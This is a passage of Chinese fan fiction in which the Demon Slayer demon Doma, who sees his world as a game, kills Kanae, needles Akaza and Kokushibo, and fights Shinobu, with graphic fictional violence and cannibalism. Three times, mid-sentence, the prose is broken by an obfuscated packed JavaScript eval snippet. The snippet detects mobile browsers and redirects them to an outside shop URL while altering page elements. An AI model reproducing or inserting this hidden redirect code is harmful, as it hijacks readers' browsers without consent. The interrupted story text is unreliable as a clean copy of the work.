童磨歪头,恰好避开了攻击:“好狠心啊,这么可爱的女孩子,为什么第一次见面就下这么重的手呢?” “你身上的血腥味很重。”之前从未见过如此皮相又没脸没皮的鬼,蝴蝶香奈惠短暂产生了类似“无语”的情绪,“应该刚刚杀了人吧。” “是呢,那几个苦命的孩子全部都前往了极乐世界,再也没有痛苦了哦。” 花柱俯身,利落地摆出攻击姿势:“花之呼吸,一之型,红花衣。” 童磨闪身避开,日轮刀擦过他的发梢,落下层层碎雪。 啊。 不开心。 居然刮掉他的头发(`~?)Ψ “好过分呢小蝴蝶~身体发肤受之父母,不能轻易损毁的说~” 童磨展开折扇,晶莹剔透的莲花盛开在他脚边,随着他缓步走来,好似步步生莲。 剧毒的冰雾渗入空气,随着剑士的每一次呼吸侵入肺腑,腐蚀内脏。 真可怜呀,小蝴蝶,要不不明不白地死掉了呢~ “加油哦,我的脖子还挺硬的,记得先看清楚再用力呀~” 上弦贰脸上笑容明媚灿烂,内心毫无波澜。 “花之呼吸,三之型” 巨大等级差之下,法师用漂亮得像艺术品的金扇挡下了剑士的进攻,伴随阵阵调笑: “好厉害呀~你还不到二十五岁吧。” “又漂亮,又努力,还很有天赋,我都不忍心下手啦~” “不行不行,这样做的话,无惨大人会生气的。” “哎?还不放弃吗?你的身体要支撑不住了吧,哪怕坚持战斗,恐怕也留不下我哦?” “哇,明明身体在燃烧还这么大动作地运动——好可怕好可怕,你不会动作大剧烈把自己撕成几块吧?” …… 随着时间的推移,蝴蝶香奈惠伤势加重,攻击越来越迟缓,也越来越凌乱。 她的血不断流淌、滴落,逐渐染红了童磨脚下的冰。 童磨明白她死死纠缠的原因——天就要亮了。 柱一换一上弦,是无比划算的买卖——小蝴蝶是这么想的吧? 就因为这种虚无缥缈的精神信念,失血死亡的可能性被彻底抹除了,真是太感动了! 这份坚守,这份执着——何等浓烈的情感啊! 游戏只给了她一副脆弱的躯壳,她却能单凭情感爆发出三倍的生机! 太伟大了! 可惜呀,天就要亮了,不能继续陪她玩下去了。 “呐,小蝴蝶,我们休息吧?”善良的童磨提出建议,“现在立刻去治疗,还有可能活下去哦?” 他视线略过蝴蝶香奈惠腰间鼓起:“你家里应该有亲人在等你吧,弟弟或妹妹?要是看到姐姐的尸体,他们该多伤心啊——” 蝴蝶香奈惠动作微不可查的停顿了一瞬,随即笑了笑:“不杀死你,世界上更多的人会伤心。不只是姐姐的死去,还有父亲,母亲,很多很多的、很好的人。” “死缠烂可不讨人喜欢哦,小蝴蝶。”童磨以一种被过度追求的苦恼语气说。 清除杂念,只剩下歼灭恶鬼念头的蝴蝶香奈惠不由地嘴角一跳。 ——即使在鬼中,这位的嘴也是万人嫌级别的吧。 “啊咧咧……”见蝴蝶香奈惠不为所动,童磨落寞垂眸,绚烂的眸中氤氲出遗憾。 上弦贰扬起手中金扇,华美精致的工艺品边缘覆上薄冰,在巨力驱使下与日轮刀正面相撞。 日轮刀从正面被砍断。 金扇轻飘飘地划开花柱的腹部。 “别太想我哦。”童磨临走前转头,对蝴蝶香奈惠眨了眨眼。 ——没有得到任何反馈。 这回真的浪费太多时间了,童磨躲到万世极乐教准备的房屋时,被阳光照射到的小腿冒出一缕青烟。 他立刻联系鸣女:“琵琶姐姐~” 鸣女不情不愿地拨动琴弦,将上弦贰传送至无限城内。 童磨“噗通”一下落在他给自己准备的莲花池里,上下浮沉,洁白的莲花依偎在他白皙的脖颈间,轻轻晃动。 童磨玩起了水和莲花,指尖在嫩绿的莲台上一戳一戳。 有点伤心,没吃到那个使用花之呼吸的女孩子。 那么强烈的执念,吃下说不定就能获得对应情感了呢! 好伤心呐,怎么偏偏天亮了呢? 见光死的设定好讨厌的说—— 作为特殊剧情物品的蓝色彼岸花还一直不给刷新,超过分。 不过死缠烂打什么的,太不合礼仪啦,要好好纠正才行~ 哎呀,忘记了,小香奈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292442|198513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惠应该已经没有被纠正的机会啦。 …… 天明破晓,重伤的蝴蝶香奈惠猛地跪倒在地,勉强用剑支撑着身体。 童磨尽最大力气的斩击几乎将她切成两段,相比之下剧烈的剧痛也微不足道。 “姐姐——” 赶来的蝴蝶忍心脏骤停。 蝴蝶香奈惠恍惚了一瞬,露出放松的笑容,迷了力气,正好倒在蝴蝶怀中:“是小忍啊......” 真好,死前还能见到小忍。 只是可惜。 到底没留住那只鬼。 柱的战力也出现了空缺,会有更多人被鬼所害吧。 对不起。 如果我能更强一点就好了。 撕心裂肺的悲伤中,花柱沉沉睡去。 一睡不醒。 …… “所以说,虽然超级可爱。但不管如何一直缠着我什么的,太缺乏边界感了。”童磨右手捧脸,向堕姬抱怨,“明明我都明确表示拒绝了。” “为什么我很少遇到柱?”堕姬一点都没有被安慰到的悲劣,咬着不存在手绢。 ——她要杀死更多的柱! 童磨惊讶捂嘴,琉璃眸里满满都是同情。 ——小堕姬这个样子,绝对是被无惨大人pua了吧! 小堕姬,好可怜,十三岁化鬼,脑子也笨笨的,就这么被pua了。 “先努力吃人吧,小堕姬。”童磨合上折扇,用扇柄敲了敲她的脑袋,“和小太郎比起来太弱了哦。” 虽然共用一个面板,但小堕姬和小太郎的战力完全不是一个级别的呢~ “可恶!别小看我啊,我可是上弦六。”堕姬身后的缎带张牙舞爪地扑向童磨。 “嗯嗯,看到了看到了,小堕姬没有拟态呢。”童磨笑盈盈地回复,轻而易举地躲过缎带。 堕姬忽然和猗窝座共情了。 ——怎么会有人讨厌成这个样子啊! 要不是打不过…… 为什么偏偏打不过…… 堕姬气鼓鼓地坐正。 童磨扶正有些歪的莲花帽,稍微正了正脸色:“小堕姬,稍微认真一点。虽然都弱得可怜,但现在的柱确实比以前强了这么一丢丢——” 他食指和大拇指比出几毫米的距离。 “未来也有可能会更强哦。按照这个速度过几百年,说不定就可以杀死我们啦。” 堕姬无语:“毫无说服力呢。” “嘛,总之就是这样了。不要轻易死掉哦,小堕姬,我会很伤心的。” 堕姬冷哼:“你死的那天我肯定放鞭炮庆祝。” “哇~那很难了。如果是能杀死我的存在,小堕姬估计活不到那个时候哦~” 堕姬冷静地举起茶杯,脸上梅花因为肌肉鼓动仿佛盛放:“你还是现在去死吧!” 7. 第 7 章 五年前的记忆突兀闪现。 童磨没有再尝试共享堕姬或妓夫太郎的视野,第一次失败后他就认识到了—— 那两个孩子死了。 死了,大脑腐烂,意识消失。 啊,好不容易拼到上弦,就这么被猎鬼人杀死了。 虽说他应该为他们前往极乐世界高兴啦,可是没了两个贴心后辈生活真的少了好多乐趣的说…… 不过弱小之鬼就是如此容易消失的存在呢,他要习惯游戏设定才是。 呀,前面的猗窝座阁下也在伤心吧,正需要自己的安慰呢。 让他给他一个惊喜~ 童磨屏息靠近,鸣女似有所感,素手一扬,童磨周边的灯光相继熄灭,有声地告诉猗窝座某只鬼来了。 可惜提醒还是晚了。 “哎呀哎呀~”童磨亲昵地将手搭在猗窝座肩上,“稍安勿躁嘛,猗窝座阁下,你该不会一点都没替我担心吧?” “我可是十分担心大家哦,毕竟是珍贵的同伴~”童磨笑眯眯凑近猗窝座,抛了个wink,“我不希望任何人死掉。” 毕竟死掉就不能陪他玩了(点名批评小堕姬和小太郎!那么强烈的存活欲望他还以为他们会比自己活得久呢!)大家要一直像猗窝座阁下一样活力满满才好~ 看到自己,猗窝座阁下瞳孔都兴奋地缩小了呢,好开心(○’ω’○)~ 仅仅是靠近,就羞涩地浑身颤抖,多么有趣~就算不为了支线,他也不会辜负猗窝座阁下的~ “嘻嘻,童磨阁下。”玉壶冒出和自己的赏壶小伙伴打招呼。 “呀,好久不见了,玉壶~”童磨热情回应,“你换了个新的壶吗?相当不错哦~” “你之前送我的壶被种上了小信徒的脑袋,是房间里漂亮的装饰呢~” “壶可不是用来种人头的……”玉壶嘀咕,顾及童磨的心情又道,“但是这样也不错!” 对嘛对嘛~ 玉壶阁下超级善解人意的~ 虽然送给自己的壶只是【普通】品质的血鬼术产物,但比猗窝座阁下的玩闹实用多啦~ “对了,有时间去我那里玩吧?”童磨发出邀请,就如曾经邀请上六兄妹。 猗窝座忍了又忍,看不见一点童磨主动把手挪开的希望,只能主动出声:“拿开。” “嗯?”童磨疑惑,随即恍然。 果然,猗窝座阁下十分害羞与他亲密接触呢~ “把手拿开!”见到童磨的表情,猗窝座一阵恶寒,忍无可忍出拳正正捶向那张漂亮却极度讨厌的脸。 童磨宽容地接受了同事爱的抚触。 ——半个下颔碎了。 童磨的向侧偏去。 ……好过分,猗窝座阁下怎么像那些偶像剧里的女生一样喜欢扇人呐。幸亏是自己,才能表现出被轻飘飘打了一巴掌的样子,要是玉壶阁下就飞出去啦。 不过既然这是猗窝座阁下的爱好,身为朋友他就包容一下并鼓励吧~ 几个呼吸间血肉再生完成,上弦贰笑容依旧:“不错的一拳,你比之前强了一点点吧,猗窝座阁下。” 哇,猗窝座阁下好像生气了。 因为他用了形容词“一点点”吗? 可是他说的明明是实话嘛。 感受到猗窝座快爆了的怒槽,担忧自己无限城受到波及的鸣女赶忙出声:“上弦之壹大人最先受到传召,一直在那里。” ——所以你们两个要打出去打! 上弦之壹黑死牟睁眼:“我在……这里……” 哇,不愧是黑死牟阁下,一点气息都没有察觉到呢~ 可惜怎么都不让自己探索隐藏支线,一旦涉及就杀意满满的说~ “无惨大人……驾到了……” 闻言,上弦们集体抬头。 在空间完全错乱的无限城中,无惨大人正倒挂在他们面前,浑身散发着不满的情绪:“妓夫太郎死于鬼杀队之手,上弦之月空缺了一角。” “果真如此吗?”童磨歪头,“这可怎么办呢?” 这两个孩子是他引荐的,按照职场潜规则,他也是要被处罚的吧? 现实生活中尚未经历过职场生活的童磨双眼亮起:“真是抱歉,要不我把眼睛挖出来给您赔罪吧?” 他的眼睛这么漂亮,无惨大人拿到了肯定很快就会消气吧。 说不定还会想要收藏起来,和曾经那些大名的愿望一样~ 虽然那些大名都被他提前送往极乐了,但如果是无惨大人的话,就完全不同了呢~ “我要你的眼晴有什么用?”无惨已经被这块打不痛骂不痒的顽石拓宽了底线,以一种包容熊孩子和神经病的心态看待童磨。 “我早已料到妓夫太郎可能会失败,结果他果然被堕姬拖了后腿。如果一开始便由妓夫太郎出面,此战想必早已告捷。让敌人中毒之后,他大可以逸待劳,等待对方毒发身亡……也罢,反正已经过去了。” “无聊透顶,永远都是人类部分残留更多的鬼,最先被击败。算了,就这样吧。我对你们已经不再抱有任何期待了。 没有乖乖低头的童磨双眼再度放出光芒——这个他知道,是职场pua! 作为无惨大人忠心的下属,他一定要响应这份pua来答谢! “您又在说这些让人伤心的话了。”上弦二拖长语调,像是抱怨又像是撒娇,细品还有些茶里茶气,"我何曾辜负过您的期望?” 猗窝座脸上盛开出十字小花,和无惨的心声奇异同步了——你个日常基本没任务的还好意思说? 甚至是傲慢地以“俺”为自称说! 作为童磨划水的受害者,猗窝座深吸一口气。 很少给童磨发派任务的无惨冷哼声,保持了高冷面目:“产屋敷一族至今仍苟活于世,蓝色彼岸花就更不必说了吧?都几百年了,为什么还没找到?我真的……开始渐渐想不通你们是究竟为什么而存在的了。” 对呀,蓝色彼岸花。 作为重要剧情物品,为什么从始至终都没出现呢? 该不会无惨大人是反派吧?不管怎么样都找不到重点道具,然后被得到道具的主角杀死~ “这可如何是好呢?”童磨故作失落,“都怪我不擅长探查和搜索。” …… “玉壶阁下,我他想一起去~”童磨笑眯眯捧着玉壶的脑袋, 差点忘了,玉壶阁下和半天狗阁下都是相对弱小的同伴,万一和小堕姬小太郎他们样死掉就不好了。 为了保护同伴,他就委屈自己受累一下吧。 “这个……”玉壶支支吾吾,想要拒绝,又害怕童磨脑洞大开对他的脑袋做什么,“童磨阁下……” 见童磨有违抗无惨指令的趋势,开会期间被呼吸的童磨挑衅了无数次的猗窝座迫不及待地伸手,狠狠揍向那颗碍眼的白橡色脑袋:“无惨大人对你下达命令了吗?快给我消失!” 划重点,消失!!! 半颗磨磨头飞出,下半张脸仍保持无暇的微笑。 猗窝座阁下火气好大哦 他就牺牲一下自己帮同事排解忧愤吧。 衷心为他人考虑的童磨没有躲闪同伴爱的接触,分享受思维分或两份的奇异感受。 咦? 猗窝座阁下的手臂也飞出去了耶,和他的脑袋一样。 果然他们超适合在一起玩的吧。 啊,原来是黑死牟大人。 不知何时离开的上弦之壹在他们身边停下:“猗窝座……你做的…太过了……” 见上弦前三发生争论,玉壶赶忙用头上下垂的婴儿手支撑自己,四手并用半跑半跳地快速远离了童磨这个杀伤力巨大的熊孩子。 哎?黑死牟大人是给自己出气吗?好感动呀。 不过没关系的,猗窝座阁下只是喜欢如此玩耍罢了。每次这样做之后,感觉他的心情都会好一点呢。 作为一个成熟的上级,他当然会包容猗窝座的这种行为呀。 童磨不再压制再生能力,几秒后头颅生长完成。上弦贰转头,漂亮的白橡色罗马卷在空中转过半个圈。 有些沉迷于半截头顿落地时低矮的视野,童磨模仿小狐狸的走姿在地上爬了几步。 果然不行~ 是完全不一样的感受的说~ 童磨遗憾坐下,抬起右手前后摆摆表示白己不在意,笑眯眯的样子活像只招财灾)狐狸:“没关系的,黑死牟阁下~我不在意哦~” 猗窝座:一次挑衅。 黑死牟短暂沉默了一下,随即解释:“我的这句话并非为你而讲……我只是担心……顺序的错乱……会进而导致主从关系产生裂痕……” [这下童磨总不会……作出奇怪的行为…或想到奇怪方面……了吧……] “啊,原来如此呀!”童磨很捧场地拍手。 黑死牟阁下一直关心着大家呢!是个善良的好鬼! 在暗处默默奉献什么的,简直和自己一模一样呢~ 黑死牟侧目,语气低沉:“猗窝座,如果实在不满……就发起…换位血战……” “别这么说嘛,黑死牟阁下,就算猗窝座阁下真的提出申请,也打不过我们两个呀~” 猗窝座:二次挑衅。 “我明明在猗窝座阁下之后才变成鬼,却成为他的上级。他内心难免会有些不平衡,你就体谅他一下吧~” 猗窝座:三次挑衅。 “我是顾及他的感受,才特地没有避开。这只是个玩笑而已啦~而且这种小活动有益于增长感情嘛~” 猗窝座:四次挑衅。 “身居高位者,自当游刃有余,没必要对下位者过于吹毛求疵~” 黑死牟:一句无意的…不算冒犯…之言。 “猗窝座!”不自觉被戳中心塞的黑死牟以最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292443|198513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快的语速打断了童磨的话,"你应该能明白……我的意思吧?” 猗窝座抬头,和黑死牟进行了短暂而高效的眼神交流,严格防范童磨作出评论。 “当然。” 猗窝座眯眼,盯着这个白橡色混蛋:“我—一定会杀死你的!” 鬼杀队无法对童磨造成威胁,这个混蛋,一定、一定要死在他手里! “那就……继续努力吧……”黑死牟有些欣慰。虽然按照他的判断来看,猗窝座的希望……比较……嗯…… 黑死牟中断思考,意满离。 “不知道是不是错觉,总感觉没有插入你们之间的对话呢。但你真的想太多啦。”童磨叹气,“呐,猗窝座阁下?” 猗窝座:n次挑衅。 防止自己听到童磨又解读出什么不可名状的句意,猗窝座快速离开了无限城。 被丢下的童磨眨巴眨巴眼晴,纯洁无辜落寞得像是被同伴无情抛弃的少女。 “琵琶姐姐,可以把我和他们送到一起吗?” “恕我拒绝。"鸣女微笑着拨动了琵琶弦。 一一虽然是装的。但这家伙失落的表情真是百看不厌啊 琵琶声响起,童磨回到了万世极乐教,不开心地捧起脸:“大家都好冷漠哦~” 要是没他调节气氛,估计彼此就要大打出手了吧。 毕竟猗窝座阁下看着总是一副火气很重的样子。 …… 童磨耐心地顺着新往极乐世界的孩子的长发。 这孩子的头发很特殊,发尾泛着些橘黄,摸起来竟是温暖的。于是被他搁在玉壶阁下描绘夏日的壶上,两者分外相衬。 童磨梳得很仔细,从发根梳到发梢,遇到打结的地方就停下来,一点一点地解开。 一一本来,这就是如此平常而宁静的一夜。 直到壶身裂开一条细缝。 “咦?”童磨低头凑近,好奇地打量,浓密的睫羽几乎要碰到壶壁。 啊咧……玉壶阁下不会烧出了个劣质品吧? 裂纹从壶底窜上来,蜿蜒地爬过壶身,壶的颜色迅速变得灰败。 童磨有一种不好的预感。 排除游戏经费不足回收数据节省空间的可能—— 游戏物品,按道理,不会无缘无故碎掉啊? 但就在下一刻,满屋的壶整片整片地开始碎,裂纹如蛛网一样蔓延,碎裂的声音此起彼伏,像无数颗心脏同时爆裂。 童磨原本搁置得好好的头颅滚落,有些砸到他手边,有些滚落到他双膝上。 童磨跪坐在满地的混乱中央,头顶着无数壶碎裂的瓷粉,呆滞地眨了眨眼。 “呜……”极乐教主的哭声毫无预兆地响起,大颗大颗的泪珠滚落而下,在满地瓷粉间洇开一片深色的湿痕。他哽咽着,声音支离破碎:“玉壶阁下,真是,太可怜了……” ——这些壶是玉壶的血鬼术造出来的,玉壶死了,它们才会碎。 玉壶阁下临走前还逞强,不要自己的保护,那副故作坚强的样子好惹人感动的说。 结果才一会儿,就这么孤零零地死在外头了,好可怜…… 甚至没有自己去参加葬礼,真是太可怜了~ 童磨边抽噎边用冰做成壶,顺便用蔓莲华把滚得到处都是的信徒放回壶上。 哎嘿~ 这样就有漂亮啦~ 极乐教主转悲为喜。 …… 【玩家选定路线【鬼化】已进入后阶段】 【请玩家谨慎选择】 “咦?"童磨像发现了什么新玩具一样凑上去,打量这两行字 “没记错的话,鬼的生命是无穷无尽的呢。 “忽然进入后阶段,是终于经费不足了吗?” “唔哇,还是说,难道说——”童磨眼晴忽然亮了起来,双手捂住面颊,眼尾因兴奋泛起桃红,"我和猗窝座阁下,黑死牟阁下,甚至是,甚至是无惨大人……都会被杀死? 毕竟游戏的用词是【鬼化】进入后阶段,而非他个人。 就像是,整个鬼方的末日啊。 童磨像小猫一样在床榻上爬行,反反复复穿过字幕,兴奋地猜测: “小堕姬和小太郎只是个开头吗?玉壶阁下和半天狗阁下已经死了,接着是猗窝座阁下?再是我和黑死牟阁下,最后是无惨大人?” “太感动了……是鬼杀队吗?杀死了那两个孩子的,无北弱小的存在,居然能够杀死我们?完全可以说是奇迹了啊。” “这份执着,这份坚守啊,我居然有些后悔选择【鬼化】线了。如果能够近距离观察那些孩子,想必是更美妙的体验吧?” 感动的泪水润湿了童磨过分长的眼睫,他双手合十,盘腿而坐,悲悯圣洁一如座上佛。 “快点来吧!” 他完全,完全,迫不及待了啊。 来陪他玩吧! 8. 第 8 章 今天是引渡信徒的日子。 为了不弄脏教会的地板,童磨联系鸣女将他们一起传送到了无限城。 “这里就是极乐世界了吗,教主大人?"短暂的失重过后,可爱无知的小信徒落地,好奇地打量四周。 童磨在无限城的住所和万世极乐教是一比一复刻的。亭台楼阁伫立在莲花池中,碧绿的池水向四周延绵数百米的春色,洁白无垢的莲花和翡翠质地的倒影一同摇曳,恍如极乐净土。 “不是哦。不过马上就到了。童磨笑着揉了揉她的发梢,“我亲自送你们去。” 教徒们望着他,眼神清澈得像羔羊望着牧羊人。 金扇在神之子手中徐徐展开,轻飘飘地划过众人的脖颈。 血液喷涌而出,头颈缓缓歪斜,信徒们一个接一个地倒下,以残缺的□□为瓣在他周围盛开出一朵绮丽的死亡之花。 啊。 多了一个。 童磨抬眸,朝她伸手:“小千鹤,不是说了渡仪式不能随便混进来吗?” 少女颤抖着,跌倒在遍地尸骸中:“怪物……你不是……你是怪物……” “真是个不听话的坏孩子。”童磨合上金扇,一下一下敲打着手心,“坏孩子要受到惩罚。” “就罚你——”他歪头,“最后一个前往极乐世界吧?” 在此之前,你要一直看着我救赎他们,并不间断地反思直己的过错哦。 童磨悠然下坐,绛紫色的尖锐指甲划过死亡女孩的手臂,后者应声而断。 信徒喉咙间挤出一声尖细的惊叫。 童磨不满地回眸:“小千鹤要注意用餐礼仪啦,食不言寝不语哦。” 即使到这种时候,他的语气还温柔和缓的,带着诡异的平静。 ……就像一汪死水。 信徒后知后觉。 ——童磨就像一潭死水。 死水援助了将死的旅人,于是被众人视为生命之源。然而死寂是孕育不出生命的,清澈见底的液体中大量不知名的毒物游弋。在众人欢欣鼓舞地度过一段幸福时光后,等待所有人的只有死亡。 再没有饥寒交迫,再没有欺瞒倾轧,没有绝望的死亡。 他们的尸体会前倾,倒在死水中,像是在朝拜,反哺这一汪清泉。 ——这也是一潭死水能给出的,最好的救赎。 信徒彷徨地抬头,望向被她信奉为神明的人,他脸上的神情从始至终未有改变。 死水里孕育不出生命,自然也无波无澜。 那手臂剪作的莲藕在水中腐烂,却被认为欣欣向荣。 童磨捧着那一节白皙的莲藕,张嘴,小口咬了下去。 汁水很足呢~ “哎嘎” “哎嘎——” …… 哎呀呀,有人来啦。 居然被逼迫得把鬼杀队放入无限城,无惨大人这次好失败哦。 童磨转头,身材娇小的女孩映入眼帘,干脆利落扎起的发末端渐变为紫色,色彩绚丽的羽织披在纯黑的队服上。 就像是一只,满腹毒药的小蝴蝶呢~ 【姓名:蝴蝶忍】 【身份:鬼杀队·虫柱】 【种族:人类】 【等级:lv59】 【特殊技能:(隐藏)】 【特殊称号:虫柱】 居然只有lv59吗......? 弱得可怜哎。 这么小的一只,哪怕日轮刀砍到自己的脖子,也砍不断吧。 即便如此,也有勇气加入鬼杀队,真是太可爱了。 对了,和她近战好了。 法师和刺客近战什么的,有趣极了呀。 “有人来啦。”童磨心情很好地微笑,露出一点尖牙,鲜血从他嘴角流下,“哇,还是个女孩子呢,看起来既年轻又美味,要好好谢谢鸣女才行。” 外人面前,他就不叫鸣女讨厌的称呼——琵琶姐姐——啦。 他就是这么善解人意呢。 童磨起身,俯身行了个西式的脱帽礼,边行边给自己的礼仪打分——满分。 “你好呀,初次见面,我的名字是童磨,真是个美好的夜晚呢~” 大约是吸收了太多人,恶鬼产生了类似醉酒的反应,尾音轻飘飘的,勾得软而长。 莲花帽摘下后,童磨头顶那块泼墨似的血流毫无保留地展现在蝴蝶忍眼中,让后者怀疑起他就是杀害姐姐的凶手。 “救……救我……”突兀的呼救声打破了两人对峙时怪异的氛围,“救救我!” “嘘——”童磨将食指竖在唇边,绛紫色的尖端衬得他唇色鲜妍,“我正在说话呢。” 太失礼啦小千鹤。 都有点给他丢脸了呢。 不过这孩子确实吓狠了,一直在颤抖,好可怜。 算啦算啦,先送她去极乐世界吧,他就是这么心软。 心软的童磨决定好了信徒的命运,金扇扫过,锋锐的坚冰瞬间攀爬上半个台面。 可台面上空无一人。 ……咦? 小千鹤居然被偷走了? 这个速度,只比猗窝座阁下慢了一点点呢! “哇,你好快哦。”童磨睁大眼睛,神态天真单纯,“你是柱吗?” “你没事吧。”蝴蝶忍没有理那个发神经的鬼,语气关切地询问怀中女孩。 这么放松可不行呀,小蝴蝶~ 他可是擅长远距离攻击的法师哦。 童磨笑眯眯地挥扇,锋锐的薄冰瞬间将远处的女孩等分成四份,鲜血迸出,头颅和双腿自蝴蝶忍怀中滑落。 小千鹤呐小千鹤,怎么能胳膊肘向外拐,对小蝴蝶求救呢? 被信徒背叛,他超级伤心的说~ 蝴蝶忍暗紫色的瞳仁放大,生命在她面前流逝,而她无力一如幼时。 太快了,在她没反应过来的时候,她就死了。 就像她曾经的继子 “啊,没关系,就放在那里吧,之后我会好好吃掉的。"童磨上下挥动扇子,示意蝴蝶忍不用这么累地抱着小千鹤。 (?ο`*)唉…… 小蝴蝶一点反应都没有呢。 只能他亲自来啦。 “嘿咻。” 童磨起身。 对啦对啦,小蝴蝶还不知道他的教义,要先认真讲解才行。 “我是万世极乐教的教主,让信徒们获得幸福是我的职责。”刻有莲花的金扇搭在脸侧,将童磨眉目衬得愈发秾丽,“那个孩子我会一点不剩地吃干净哦。” 头顶的血迹,无忧无虑的笑容,温柔的语气……都对上了。 就是这个家伙,杀死了姐姐。 蝴蝶忍冷声:“一起幸福?别开玩笑了,那孩子明明是抱着对你的恐惧庆恶,在向我求救。” “所以我不是出手相救了吗?”童磨微笑,“那孩子如今既不痛苦,也不难过了。” 不能因为他是鬼就歧视他,说他没有救人吧。 这样的话,即使是救人不求回报的他,也会很伤心的。 “因为人人都害怕死亡,我才吃掉他们,让他们与我共生。在永恒的时光里,我将信徒们的思想、血液、□□都好好地接纳并加以救济,最终引领他们走向崇高的境界。” 不过老实说大部分信徒没有什么区别啦,都害怕死亡,恐惧生存,只能将希望寄托于虚无缥缈的极乐世界……完全是流水线生产出来的npc呢~ 恐怕也只有自己,会在百年之后记得他们的区别了吧~ “我受不了了。”闻言,蝴蝶忍快速吐出一口气,暗紫色的双眼冷冷注视童磨,“不可理喻——你脑子没病吧,让人恶心得想吐!” “哎——”童磨双眼睁大,有些伤心,“明明才第一次见面,为什么要说这么过分的话呀?” 他明明超级聪明的说。 其他孩子还在玩泥巴的时候他就在学习经文和礼法了,而且基本没有理解错误。 这样聪明的他,想到其他人难以理解的事,也是理所当然的。所以他一直包容大家笨笨的想法。 说起来,眼前的女孩子莫名感觉有些悲伤呢。 是悲愤之下口不择言了吧? 啊,经历了什么难以忘怀的事吗? 也是个可怜人呢。 “我明白了。"童磨右手放在胸前,“真可怜,你一定遇到了什么难过的事吧。可以和我说哦。不管什么都可以。” “哪有什么难过不难过的——”蝴蝶忍白皙光滑的额头上暴起青筋,柔美的面相因暴怒而变得狰狞,她抓住身上色彩绚丽的羽织,如同即将溺亡的人抓住蜘蛛丝,“杀了我姐姐的就是你吧!你还记得这件羽织吗?!” ……羽织? 他什么时候买羽织忘记付钱了吗? 唔,绿粉渐变的羽织确实很少见。 啊,对了! 小蝴蝶是叫蝴蝶忍对吧,和小香奈惠一样是小蝴蝶呢 原来如此。 情感如出一辙浓烈得可怕的两人,是亲姐妹啊。 是姐姐被杀后黑化加入鬼杀队来找恶鬼复仇的剧本! 好有趣,暴怒几乎要实质化了! 简直和小香奈惠一样可爱得要命! “我当然记得啦。”童磨开心地和蝴蝶忍分享他和蝴蝶香奈惠的“快乐”回忆,“那个使用花之呼吸的女孩子,温柔又可爱。如果不是太阳出来了,我一定会吃掉她的。” 如果不是天亮了,他绝对不会让小香奈惠一个人那样痛苦地死去的。 “好可惜,真的好可惜……” 恶鬼的遗憾与惋惜彻底点燃了蝴蝶忍的怒火——长姐的死亡于他而言不过一道错过的美食,弃之可惜。 这种轻蔑的,高高在上的,自以为怜悯的态度—— 恶心死人的下三滥! 蓄力瞬间完成,蝴蝶忍弹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292444|198513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起,日轮刀直刺童磨刻有“上弦”的左眼。 “虫之呼吸,蜂牙之舞,真曳!” 日轮刀缓缓没入柔软的眼球。 即使是异于常人的彩虹眼,切面也是通透的。 啊啊……眼睛被切开了,无惨大人赐字的眼晴,被日轮刀切开了呢。 和被切开的果冻一样,裂成了两半。 太有趣了! 视野变成了两份,他看到的小蝴蝶都重影了,他眼中的世界变得前所未有地稀奇! “攻击好快,都没来得及阻止耶!"童磨不遗余力地夸奖蝴蝶忍,手中折扇瞬时展开。晶莹剔透的莲花盛放在两人周围,血色被冰蓝取代,一派澄澈。 血鬼术·莲叶冰。 好冷……感觉肺部被冻住了。 蝴蝶忍后退,捂往口鼻。 “速度很快很快哦——可惜呀,刺眼睛是杀不死鬼的。"童磨遗憾地感到眼晴恢复,奇特的视野消失。 他要更加努力地鼓励小蝴蝶! 童磨合上金扇,微微歪头,扇骨轻敲裸露的小截脖颈:“这里这里~脖子才是重点。” 好期待呐,小蝴蝶能杀死他吗? 虽然概率不足1%,但既然拥有这么浓烈的情感,就期待一下吧。 “刺眼晴杀不死,那毒呢?”第一次,蝴蝶忍没有被童磨的真心话挑衅到,收刀入鞘。 毒? 几乎是下一秒,紫藤花灼烧血肉的剧痛自左眼散布,瞬间侵占了他大半个身体。内脏因剧痛而蜷缩,童磨本能地跌倒在地。 当然,风度如他,跌地前明智地用扇柄撑住自己,防止漂亮的五官和地面接触。 “这比你在那田蜘蛛山用的毒强得多呢……他提醒我要小心一种能适应任何鬼的混合毒……咳咳——” 童磨的血滴落在地,完整地映出他的面容。 呼…好狡猾呢,小蝴蝶…… 居然……哈…在他陪她玩耍的时候,下这种狠手…… 啊,但是,心脏跳得好快…… 好快好快好快好快,身体前所未有地兴奋起来了,全力以赴地在分解毒素! 